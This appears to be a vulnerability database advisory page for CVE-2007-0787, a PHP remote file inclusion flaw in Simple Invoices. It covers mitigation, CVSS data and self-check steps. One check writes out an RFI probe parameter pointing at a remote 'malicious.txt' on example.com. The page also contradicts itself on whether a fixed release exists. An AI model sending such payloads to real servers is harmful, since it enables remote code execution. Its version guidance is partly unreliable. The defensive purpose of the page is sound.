dbcve.org
Simple InvoicesApplication

CVE-2007-0787

MEDIUM · 6.8 CVSS v2.0 Published 2007-02-06
Mitigation only
No fix yet — a mitigation exists. There is no fixed release. A documented workaround reduces exposure in the meantime.
See remediation →
77/100
Remediation priority · High
Remotely reachable No privileges Zero-click

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
PHP remote file inclusion vulnerability in controller.php in Simple Invoices before 20070202 allows remote attackers to execute arbitrary PHP code via a URL in the (1) module or (2) view parameter. NOTE: some of these details are obtained from third party information.

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis · high confidence

A PHP remote file inclusion (RFI) vulnerability in controller.php of Simple Invoices allows remote attackers to execute arbitrary PHP code by supplying a malicious URL in the module or view parameters. This occurs because user-supplied input is used in include/require statements without proper validation or sanitization.

MitigationUpgrade to Simple Invoices 20070202 or later, or implement strict input validation/whitelisting on the module and view parameters to prevent arbitrary file inclusion. Additionally, disable allow_url_fopen and allow_url_include in PHP configuration to mitigate RFI attacks.

Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
Simple InvoicesApplication
Affected:= 2007-02-02

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Network
Complexity
M
Authentication
None
Confidentiality
Partial
Integrity
Partial
Availability
Partial

AV:N/AC:M/Au:N/C:P/I:P/A:P

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.

dbcve checks

Work through these to decide whether this CVE applies to you.

  1. Locate the controller.php file
    Search for controller.php in your web root where Simple Invoices is installed. Common paths include /simple_invoices/include/controller.php or /var/www/html/simple_invoices/include/controller.php
    Affected if controller.php exists in the Simple Invoices installation directory and is accessible via web requests
  2. Identify the installed Simple Invoices version
    Check the version file in the Simple Invoices root directory, or look at the header comments in controller.php for version information such as '2007-02-02' or similar date-based version strings
    Affected if The installed version matches '2007-02-02' or predates this release
  3. Inspect controller.php for vulnerable include patterns
    Open controller.php and search for lines using include(), require(), include_once(), or require_once() with the $module or $view variables, for example 'include($module)' or 'include($_GET["view"])'
    Affected if The code contains include/require statements using $module or $view parameters without sanitization like basename() or whitelist validation
  4. Verify the module and view parameters are exposed
    Test accessing controller.php via HTTP with parameters such as '?module=http://example.com/malicious.txt?' or '?view=http://example.com/malicious.txt?'
    Affected if The application accepts and processes these parameters without rejecting external URLs
  5. Check PHP configuration for remote file inclusion capability
    Examine your php.ini file for the settings allow_url_fopen=On and allow_url_include=On, or run 'php -i' and grep for these directives
    Affected if allow_url_fopen and allow_url_include are both enabled, allowing PHP to include remote files

You are affected if Simple Invoices version 2007-02-02 is installed, controller.php uses module/view parameters in include/require statements without validation, and PHP allow_url_fopen/allow_url_include are enabled.

Generated from the published advisory. Verify against your own configuration.

Check your environment

Paste your version and any relevant configuration and it will be compared against the affected criteria above. Do not include secrets or credentials.

AI-assisted, checked against the advisory. Informational, not a guarantee.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

From vendor data
Mitigation available No clean upgrade yet — mitigate in the meantime
Mitigation

Upgrade to Simple Invoices 20070202 or later, or implement strict input validation/whitelisting on the module and view parameters to prevent arbitrary file inclusion. Additionally, disable allow_url_fopen and allow_url_include in PHP configuration to mitigate RFI attacks.

Fix this in Simple Invoices Scoped from the published advisory
  • Consultation2.0 h
  • Implementation4.0 h
  • Testing2.0 h
  • Review / QA1.0 h
9.0 hours of engineering $1,600
Get help mitigating

An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $2,560.

Scan for this in your stack

Free · runs locally
dbcve dependency scanner

Check whether your project pulls in CVE-2007-0787 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.

Get it on GitHub Scan in the browser

References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

Contributed

Peer-ranked notes from engineers who’ve handled CVE-2007-0787 in production — separate from our analysis above.

No notes yet

Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.

What this is

A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.

What belongs here
  • Verified mitigations, workarounds, and config changes
  • Version or environment caveats, and links to real fixes
  • No weaponised exploit code, or anything meant to cause harm
  • No spam, self-promotion, credentials, or personal data